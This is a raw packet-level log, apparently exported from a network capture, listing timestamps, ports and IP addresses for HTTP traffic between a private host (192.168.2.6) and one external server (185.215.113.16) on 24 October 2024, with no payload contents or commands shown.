Oct 24, 2024 11:02:47.262633085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.262656927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266175985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266191006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266205072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266220093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266232014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266241074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266252995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266253948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266267061 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266273975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266280890 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266300917 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266325951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266339064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266350985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266362906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266376019 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266376019 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266388893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266395092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266402960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266417027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266422033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266427040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266439915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266463041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266469002 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266475916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266489029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266499996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266515017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266526937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266539097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266541958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266551971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266561031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266561985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.266577005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.266594887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291459084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291559935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291598082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291634083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291665077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291667938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291665077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291665077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291698933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291706085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291711092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291743040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291774988 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291779041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291790009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291812897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291821003 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291851044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291884899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291901112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291924000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.291937113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.291974068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337039948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337135077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337155104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337187052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337197065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337240934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337255001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337299109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337299109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337362051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337416887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337420940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337471962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337480068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337517023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337532997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337552071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337570906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337596893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337606907 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337642908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337655067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337678909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337690115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337727070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337734938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337771893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337783098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337819099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337825060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337877035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337879896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337920904 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337922096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337955952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.337971926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.337991953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338006973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338027000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338040113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338073015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338079929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338116884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338130951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338152885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338161945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338198900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338210106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338246107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338262081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338284016 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338294029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338320017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338330030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338356972 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338366985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338395119 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338402033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338433027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338439941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338468075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338479042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338504076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338512897 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338540077 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338550091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338577032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338583946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338618994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338627100 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338656902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338670969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338691950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338726044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338742971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338757038 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338771105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338793993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338802099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338829994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338840008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338860989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338879108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338895082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338902950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338932991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338939905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.338977098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.338978052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339027882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339030027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339077950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339086056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339134932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339142084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339179039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339191914 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339215040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339225054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339260101 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339270115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339363098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339376926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339416981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339421034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339457035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339466095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339503050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339518070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339549065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339569092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339591980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339610100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339660883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339668036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339720011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339724064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339761019 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339782953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339796066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339801073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339832067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339840889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339873075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339884043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339910030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339915037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339941025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339963913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.339976072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.339979887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340012074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340022087 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340045929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340055943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340081930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340092897 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340116978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340152979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340173960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340188026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340204954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340228081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340240955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340265989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340272903 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340301991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340307951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340337038 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340346098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340373993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340383053 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340409994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340415001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340445995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340452909 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340481997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340514898 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340517998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340529919 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340555906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340568066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340593100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340600967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340626955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340636969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340665102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340672016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340699911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340707064 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340735912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340745926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340770006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340807915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340816021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340816021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340842009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340867043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340879917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340883970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340914965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340935946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340950012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.340956926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.340986013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341000080 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341022015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341031075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341057062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341073990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341094017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341103077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341129065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341147900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341165066 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341167927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341198921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341207027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341237068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341243982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341273069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341289043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341309071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341319084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341346025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341357946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341382027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341398001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341418982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341430902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341454983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341465950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341492891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341506004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341528893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341536999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341563940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341581106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341600895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341608047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341635942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341650009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341670990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341679096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341706038 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341717958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341741085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341742039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341775894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341788054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341811895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.341820002 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.341861010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569334984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569365978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569380045 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569400072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569403887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569412947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569427013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569441080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569442034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569452047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569453955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569468021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569469929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569480896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569493055 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569494009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569508076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569519997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569520950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569533110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569545984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569545984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569566011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569583893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569598913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569612026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569623947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569637060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569648981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569650888 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569665909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569685936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569703102 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.569747925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569763899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.569775105 CEST	80	49854	185.215.113.16	192.168.2.6
